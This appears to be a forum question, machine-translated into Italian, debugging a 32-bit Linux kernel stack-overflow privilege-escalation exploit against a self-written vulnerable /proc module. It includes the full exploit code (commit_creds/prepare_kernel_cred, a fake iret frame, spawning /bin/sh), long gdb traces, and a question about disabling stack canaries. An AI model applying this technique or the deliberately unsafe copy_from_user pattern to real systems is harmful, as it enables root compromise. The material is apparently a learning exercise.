Che cos'è il kernel 4.3.5 Linux x86 32 bit stack structure? Cercando di sovrascriverlo, ma mostra che è danneggiato.
Sto sovrascrivendo con, impostando frame come questo:
/*
* Setup the fake frame
* |ss | Lower
* |esp |
* |eflags |
* |cs |
* |eip |
*/
Ho provato a sovrascrivere EIP con 0xffffffff e ha funzionato:
(gdb) x/30x $eax
0xf1da5ebc: 0x41414141 0x41414141 0x41414141 0x41414141
0xf1da5ecc: 0x41414141 0x41414141 0x41414141 0x41414141
0xf1da5edc: 0x996c6644 0xf1da5f94 0xf4d5f000 0xf1da5f08
0xf1da5eec: 0xffffffff 0xf1da5f94 0x00000004 0x08518570
0xf1da5efc: 0xf5333840 0xf1da5f94 0xc122e090 0xf1da5f5c
0xf1da5f0c: 0xc11cf9bf 0xf1da5f94 0x00000400 0x00000000
0xf1da5f1c: 0x00000000 0x59ddd84e 0xf5333840 0x00000000
0xf1da5f2c: 0x00000000 0xf1da5f5c
(gdb) cont
Continuing.
[New Thread 2635]
Thread 489 received signal SIGSEGV, Segmentation fault.
0xffffffff in ?? ()
ma nell'exploit qui sotto non lo è:
Modulo vulnerabile:
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/uaccess.h>
struct proc_dir_entry *proc_file_entry;
// Buggy write handling
static ssize_t buggy_write(struct file *file,const char *buf, size_t len, loff_t *off){
char data[8];
printk(" buggy_write %s %i", buf, len);
copy_from_user(&data, buf,len);
return len;
}
static const struct file_operations proc_file_fops = {
.owner = THIS_MODULE,
.write = buggy_write
};
int init_module()
{
printk(" module startedn");
printk(" creating proc entry @ /proc/buggyn");
// handle anything written to /proc/buggy
// pass it to buggy_write
proc_file_entry = proc_create_data("buggy", 0666, NULL, &proc_file_fops,NULL);
return 0;
}
void cleanup_module()
{
remove_proc_entry("buggy", NULL);
}
Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>
struct fake_frame {
void *eip; // shell()
uint32_t cs; // %cs
uint32_t eflags; // eflags
void *esp; // %esp
uint32_t ss; // %ss
} __attribute__((packed)) ff;
void* (*prepare_kernel_cred)(void*) __attribute__((regparm(3)));
void* (*commit_creds)(void*) __attribute__((regparm(3)));
void shell(void) {
execl("/bin/sh", "sh", 0);
}
void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("mov ff, %esp;"
"iret;");
}
/*
* Setup the fake frame
* |ss | Lower
* |esp |
* |eflags |
* |cs |
* |eip |
*/
void setup_ff(void) {
asm("pushl %cs; popl ff+4;"
"pushfl; popl ff+8;"
"pushl %esp; popl ff+12;"
"pushl %ss; popl ff+16;");
ff.eip = &shell;
ff.esp -= 1024;
}
int main()
{
FILE *fd;
char buf[24];
*((void**) (buf+20)) = &payload;
int ret = 0;
unsigned long addr;
char dummy;
char sname[512];
// Get needed addresses
fd = fopen("/proc/kallsyms", "r");
if(fd == NULL) {
perror("fopen()");
return -1;
}
while(ret != EOF) {
ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
if(prepare_kernel_cred && commit_creds)
break;
else
if(!strncmp(sname, "prepare_kernel_cred", 512))
prepare_kernel_cred = (void*)addr;
else
if(!strncmp(sname, "commit_creds", 512))
commit_creds = (void*)addr;
}
fclose(fd);
fprintf(stdout, "[+] commit_creds at %pn", (void **)addr);
fprintf(stdout, "[+] prepare_kernel_cred %pn", (void **)addr);
// setup fake frame
fprintf(stdout, "[+] preparing fake framen");
setup_ff();
// write payload
fprintf(stdout, "[+] writing payload to /proc/buggyn");
fd = fopen("/proc/buggy", "w");
if(fd == NULL) {
perror("fopen()");
return -1;
}
fwrite("BBBBBBBB",1,8,fd);
fwrite(buf, sizeof(buf),1, fd);
fclose(fd);
return 0;
}
Stack del kernel
0xf8870033 <+51>: mov %esi,%edx
0xf8870035 <+53>: mov %ebx,%ecx
0xf8870037 <+55>: call 0xc1384df0 <__copy_from_user_ll>
Prima di __copy_from_user_ll
(gdb) x/20x $eax
0xf23dfed4: 0xf23d00e0 0xffffff10 0xe1494fbd 0xf23dff94
0xf23dfee4: 0xf18f16c0 0xf23dff08 0xc122e0dd 0xf23dff94
0xf23dfef4: 0x00000020 0x0804b570 0xf4fd4900 0xf23dff94
0xf23dff04: 0xc122e090 0xf23dff5c 0xc11cf9bf 0xf23dff94
0xf23dff14: 0x00000000 0x00000000 0x00000000 0x00000000
Dopo
(gdb) x/20x 0xf23dfed4
0xf23dfed4: 0x42424242 0x42424242 0xb7fd7858 0xb7ffef1c
0xf23dfee4: 0xb7ff1fca 0x00000008 0xb7ff1fb6 0x0804863b
0xf23dfef4: 0x00000020 0x0804b570 0xf4fd4900 0xf23dff94
0xf23dff04: 0xc122e090 0xf23dff5c 0xc11cf9bf 0xf23dff94
0xf23dff14: 0x00000000 0x00000000 0x00000000 0x00000000
continua dà
(gdb) 494 panico ("stack-protector: Kernel stack è danneggiato in:% p \ n",
Aggiornamento 1:
Vedo alcuni bug nel mio codice
questo dovrebbe essere questo:
char buf[20];
*((void**) (buf+16)) = &payload;
e prima write () dovrebbero essere rimossi.
Ti stai chiedendo se il mio panico del kernel è dovuto a Kernel Protection / Stack Canaries?
C'è un modo per disabilitarlo ...
Aggiornamento 2
Non hai idea del motivo per cui segfaults, lo esaminerà.
(gdb) x/20x $esp
0xeddb5ed4: 0xf9a5c0a8 0x087f0570 0x00000014 0x00000000
0xeddb5ee4: 0xb7739eec 0xb7747000 0xb7739fb6 0x0804863b
0xeddb5ef4: 0xc11a0f68 0xeddb5f98 0x00000014 0x087f0570
0xeddb5f04: 0xf49fe000 0xeddb5f98 0xc11a0f20 0xeddb5f60
0xeddb5f14: 0xc114cbcf 0xeddb5f98 0x00000000 0x00000400
(gdb) set *((int *) 0xeddb5ef4) = 0x0804863b
(gdb) x/20x $esp
0xeddb5ed4: 0xf9a5c0a8 0x087f0570 0x00000014 0x00000000
0xeddb5ee4: 0xb7739eec 0xb7747000 0xb7739fb6 0x0804863b
0xeddb5ef4: 0x0804863b 0xeddb5f98 0x00000014 0x087f0570
0xeddb5f04: 0xf49fe000 0xeddb5f98 0xc11a0f20 0xeddb5f60
0xeddb5f14: 0xc114cbcf 0xeddb5f98 0x00000000 0x00000400
(gdb) stepi
0xf9a5c02f 18 in /home/user/kernel/hello-1.c
(gdb) stepi
[New Thread 3194]
[New Thread 3195]
0xf9a5c031 in __copy_from_user (n=<optimized out>, from=<optimized out>,
to=<optimized out>) at ./arch/x86/include/asm/uaccess_32.h:161
161 return __copy_from_user_ll(to, from, n);
(gdb)
[New Thread 3196]
[New Thread 3197]
[New Thread 3198]
0xf9a5c032 161 return __copy_from_user_ll(to, from, n);
(gdb)
0xf9a5c033 161 return __copy_from_user_ll(to, from, n);
(gdb)
[New Thread 3199]
0xf9a5c034 in __copy_from_user (n=<optimized out>, from=<optimized out>,
to=<optimized out>) at ./arch/x86/include/asm/uaccess_32.h:161
161 return __copy_from_user_ll(to, from, n);
(gdb)
0x0804863b in ?? ()
(gdb)
0x0804863c in ?? ()
(gdb)
0x0804863e in ?? ()
(gdb)
0x0804863f in ?? ()
(gdb)
0x08048642 in ?? ()
(gdb)
0x08048648 in ?? ()
(gdb)
0x0804864e in ?? ()
(gdb)
[New Thread 3200]
0x08048653 in ?? ()
(gdb)
[New Thread 3201]
[New Thread 3202]
0xc1066180 in prepare_kernel_cred ()
(gdb)
0xc1066181 in prepare_kernel_cred ()
(gdb)
[New Thread 3203]
[New Thread 3204]
[New Thread 3205]
[New Thread 3206]
0xc1066186 in prepare_kernel_cred ()
(gdb)
0xc1066188 in prepare_kernel_cred ()
(gdb)
0xc1066189 in prepare_kernel_cred ()
(gdb)
0xc106618a in prepare_kernel_cred ()
(gdb)
0xc106618b in prepare_kernel_cred ()
(gdb)
[New Thread 3207]
0xc106618d in prepare_kernel_cred ()
(gdb)
0xc1066190 in prepare_kernel_cred ()
(gdb)
0xc1066195 in prepare_kernel_cred ()
(gdb)
0xc1147bc0 in kmem_cache_alloc ()
(gdb)
0xc1147bc1 in kmem_cache_alloc ()
(gdb)
[New Thread 3208]
0xc1147bc3 in kmem_cache_alloc ()
(gdb)
0xc1147bc4 in kmem_cache_alloc ()
(gdb)
0xc1147bc5 in kmem_cache_alloc ()
(gdb)
0xc1147bc6 in kmem_cache_alloc ()
(gdb)
0xc1147bc8 in kmem_cache_alloc ()
(gdb)
0xc1147bca in kmem_cache_alloc ()
(gdb)
[New Thread 3209]
[New Thread 3210]
0xc1147bcd in kmem_cache_alloc ()
(gdb)
0xc1147bd3 in kmem_cache_alloc ()
(gdb)
0xc1147bd6 in kmem_cache_alloc ()
(gdb)
0xc1147bd9 in kmem_cache_alloc ()
(gdb)
0xc1147bdc in kmem_cache_alloc ()
(gdb)
0xc1147bde in kmem_cache_alloc ()
(gdb)
0xc1147be0 in kmem_cache_alloc ()
(gdb)
0xc18178d0 in _cond_resched ()
(gdb)
0xc18178d7 in _cond_resched ()
(gdb)
0xc18178d9 in _cond_resched ()
(gdb)
0xc18178e0 in _cond_resched ()
(gdb)
0xc18178e1 in _cond_resched ()
(gdb)
0xc18178e3 in _cond_resched ()
(gdb)
0xc1817890 in preempt_schedule_common ()
(gdb)
0xc1817891 in preempt_schedule_common ()
(gdb)
0xc1817893 in preempt_schedule_common ()
(gdb)
0xc1817894 in preempt_schedule_common ()
(gdb)
0xc181789b in preempt_schedule_common ()
(gdb)
0xc18178a6 in preempt_schedule_common ()
(gdb)
0xc1816e40 in __schedule ()
(gdb)
0xc1816e41 in __schedule ()
(gdb)
0xc1816e43 in __schedule ()
(gdb)
0xc1816e44 in __schedule ()
(gdb)
0xc1816e45 in __schedule ()
(gdb)
0xc1816e46 in __schedule ()
(gdb)
0xc1816e4b in __schedule ()
(gdb)
0xc1816e4d in __schedule ()
(gdb)
0xc1816e50 in __schedule ()
(gdb)
0xc1816e57 in __schedule ()
(gdb)
0xc1816e5e in __schedule ()
(gdb)
0xc1816e61 in __schedule ()
(gdb)
0xc1816e63 in __schedule ()
(gdb)
0xc1816e66 in __schedule ()
(gdb)
0xc109b3c0 in rcu_note_context_switch ()
(gdb)
0xc109b3c1 in rcu_note_context_switch ()
(gdb)
0xc109b3c3 in rcu_note_context_switch ()
(gdb)
0xc109b3c4 in rcu_note_context_switch ()
(gdb)
0xc109b3c5 in rcu_note_context_switch ()
(gdb)
0xc109b3ca in rcu_note_context_switch ()
(gdb)
0xc109b3d0 in rcu_note_context_switch ()
(gdb)
0xc109b3d2 in rcu_note_context_switch ()
(gdb)
0xc109b3d4 in rcu_note_context_switch ()
(gdb)
0xc109b3dc in rcu_note_context_switch ()
(gdb)
0xc109b3e2 in rcu_note_context_switch ()
(gdb)
0xc109b3e4 in rcu_note_context_switch ()
(gdb)
0xc109b450 in rcu_note_context_switch ()
(gdb)
0xc1098d20 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d21 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d23 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d24 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d25 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d26 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d27 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d28 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d2d in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d34 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d3f in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d44 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d46 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d4c in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d63 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d69 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d70 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d77 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d79 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d7b in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d7e in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d80 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d83 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d86 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d8c in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d8e in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d50 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d56 in rcu_momentary_dyntick_idle ()
(gdb)
0xc1098d5b in rcu_momentary_dyntick_idle ()
(gdb) cont
Continuing.
Thread 504 received signal SIGTRAP, Trace/breakpoint trap.
0xc1098da4 in rcu_momentary_dyntick_idle ()
(gdb)
Aggiornamento 3:
Ho corretto la dimensione del buffer nel modulo Kernel e l'exploit. Dovrebbe essere correttamente sovrascritto ora, ma in qualche modo non genera una shell.
Qualcuno ha idea del perché?
(gdb) stepi
0xf9ad202f in buggy_write ()
(gdb)
0xf9ad2031 in buggy_write ()
(gdb)
0xf9ad2032 in buggy_write ()
(gdb)
0xf9ad2033 in buggy_write ()
(gdb)
0xf9ad2034 in buggy_write ()
(gdb)
0x0804863b in ?? ()
(gdb)
0x0804863c in ?? ()
(gdb)
0x0804863e in ?? ()
(gdb)
0x0804863f in ?? ()
(gdb)
0x08048642 in ?? ()
(gdb)
0x08048648 in ?? ()
(gdb)
0x0804864e in ?? ()
(gdb)
0x08048653 in ?? ()
(gdb)
0xc1066180 in prepare_kernel_cred ()
(gdb)
0xc1066181 in prepare_kernel_cred ()
(gdb)
0xc1066186 in prepare_kernel_cred ()
(gdb)
0xc1066188 in prepare_kernel_cred ()
(gdb)
0xc1066189 in prepare_kernel_cred ()
(gdb)
0xc106618a in prepare_kernel_cred ()
(gdb)
0xc106618b in prepare_kernel_cred ()
(gdb)
0xc106618d in prepare_kernel_cred ()
(gdb)
0xc1066190 in prepare_kernel_cred ()
(gdb)
0xc1066195 in prepare_kernel_cred ()
(gdb)
0xc1147bc0 in kmem_cache_alloc ()
(gdb)
0xc1147bc1 in kmem_cache_alloc ()
(gdb)
0xc1147bc3 in kmem_cache_alloc ()
(gdb)
0xc1147bc4 in kmem_cache_alloc ()
(gdb)
0xc1147bc5 in kmem_cache_alloc ()
(gdb)
0xc1147bc6 in kmem_cache_alloc ()
(gdb)
0xc1147bc8 in kmem_cache_alloc ()
(gdb)
0xc1147bca in kmem_cache_alloc ()
(gdb)
0xc1147bcd in kmem_cache_alloc ()
(gdb)
0xc1147bd3 in kmem_cache_alloc ()
(gdb)
0xc1147bd6 in kmem_cache_alloc ()
(gdb)
0xc1147bd9 in kmem_cache_alloc ()
(gdb)
0xc1147bdc in kmem_cache_alloc ()
(gdb)
0xc1147bde in kmem_cache_alloc ()
(gdb)
0xc1147be0 in kmem_cache_alloc ()
(gdb)
0xc18178d0 in _cond_resched ()
(gdb)
0xc18178d7 in _cond_resched ()
(gdb)
0xc18178d9 in _cond_resched ()
(gdb)
0xc18178e0 in _cond_resched ()
(gdb)
0xc18178e1 in _cond_resched ()
(gdb)
0xc18178e3 in _cond_resched ()
(gdb)
0xc1817890 in preempt_schedule_common ()
(gdb)
0xc1817891 in preempt_schedule_common ()
(gdb)
0xc1817893 in preempt_schedule_common ()
(gdb)
0xc1817894 in preempt_schedule_common ()
(gdb)
0xc181789b in preempt_schedule_common ()
(gdb)
0xc18178a6 in preempt_schedule_common ()
(gdb)
0xc1816e40 in __schedule ()
(gdb)
0xc1816e41 in __schedule ()
(gdb)
0xc1816e43 in __schedule ()
(gdb)
0xc1816e44 in __schedule ()
(gdb)
0xc1816e45 in __schedule ()
(gdb)
0xc1816e46 in __schedule ()
(gdb)
0xc1816e4b in __schedule ()
(gdb)
0xc1816e4d in __schedule ()
(gdb)
0xc1816e50 in __schedule ()
(gdb)
0xc1816e57 in __schedule ()
(gdb)
0xc1816e5e in __schedule ()
(gdb)
0xc1816e61 in __schedule ()
(gdb)
0xc1816e63 in __schedule ()
(gdb)
0xc1816e66 in __schedule ()
(gdb)
0xc109b3c0 in rcu_note_context_switch ()
(gdb)
0xc109b3c1 in rcu_note_context_switch ()
(gdb)
0xc109b3c3 in rcu_note_context_switch ()
(gdb)
0xc109b3c4 in rcu_note_context_switch ()
(gdb)
0xc109b3c5 in rcu_note_context_switch ()
(gdb)
0xc109b3ca in rcu_note_context_switch ()
(gdb)
0xc109b3d0 in rcu_note_context_switch ()
(gdb)
0xc109b3d2 in rcu_note_context_switch ()
(gdb)
0xc109b3dc in rcu_note_context_switch ()
(gdb)
0xc109b3e2 in rcu_note_context_switch ()
(gdb)
0xc109b3e4 in rcu_note_context_switch ()
(gdb)
0xc109b3e6 in rcu_note_context_switch ()
(gdb)
0xc109b3eb in rcu_note_context_switch ()
(gdb)
0xc109b3ec in rcu_note_context_switch ()
(gdb)
0xc109b3ed in rcu_note_context_switch ()
(gdb)
0xc109b3ee in rcu_note_context_switch ()
(gdb)
0xc1816e6b in __schedule ()
(gdb)
0xc1816e71 in __schedule ()
(gdb)
0xc1816e74 in __schedule ()
(gdb)
0xc1816e7a in __schedule ()
(gdb)
0xc1816e7f in __schedule ()
(gdb)
0xc1816e85 in __schedule ()
(gdb)
0xc1816e8c in __schedule ()
(gdb)
0xc1816e8f in __schedule ()
(gdb)
0xc1816e95 in __schedule ()
(gdb)
0xc1816e97 in __schedule ()
(gdb)
0xc1816e9e in __schedule ()
(gdb)
Aggiornamento 4:
Questo sembra essere il problema:
[ 327.369858] PANIC: double fault, gdt at f7762000 [255 bytes]
[ 327.369864] double fault, tss at f7769780
[ 327.369866] eip = 08048644, esp = 0804861b
[ 327.369869] eax = 00000014, ebx = b77f1eec, ecx = 00000000, edx = 08d1d570
[ 327.369872] esi = b77ff000, edi = f9a06000
Qualcuno ha idee su cosa sta succedendo qui?
Aggiornamento 5:
0x8048592: mov 0x804a050,%ebx
0x8048598: mov 0x804a04c,%edx
0x804859e: mov $0x0,%eax
0x80485a3: call *%edx
0x80485a5: call *%ebx
0x80485a7: mov 0x804a038,%esp
0x80485ad: iret
0x80485ae: nop
ebx and edx have kernel calls
(gdb) x/10x 0x804a050
0x804a050: 0xc1065df0 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000
[New Thread 3462]
0xf9a8802f in buggy_write ()
(gdb)
[New Thread 3463]
0xf9a88031 in buggy_write ()
(gdb)
0xf9a88032 in buggy_write ()
(gdb)
0xf9a88033 in buggy_write ()
(gdb)
0xf9a88034 in buggy_write ()
(gdb)
0x0804858b in ?? ()
(gdb)
0x0804858c in ?? ()
(gdb)
0x0804858e in ?? ()
(gdb)
0x0804858f in ?? ()
(gdb)
0x08048592 in ?? ()
(gdb)
0x08048598 in ?? ()
(gdb)
[New Thread 3464]
0x0804859e in ?? ()
(gdb)
[New Thread 3465]
0x080485a3 in ?? ()
(gdb)
0xc1066180 in prepare_kernel_cred ()
(gdb)
[New Thread 3466]
0xc1066181 in prepare_kernel_cred ()
(gdb)
0xc1066186 in prepare_kernel_cred ()
(gdb)
0xc1066188 in prepare_kernel_cred ()
(gdb)
0xc1066189 in prepare_kernel_cred ()
(gdb)
0xc106618a in prepare_kernel_cred ()
(gdb)
0xc106618b in prepare_kernel_cred ()
(gdb)
0xc106618d in prepare_kernel_cred ()
(gdb)
0xc1066190 in prepare_kernel_cred ()
.
.
.
.
Never comes back ....
:/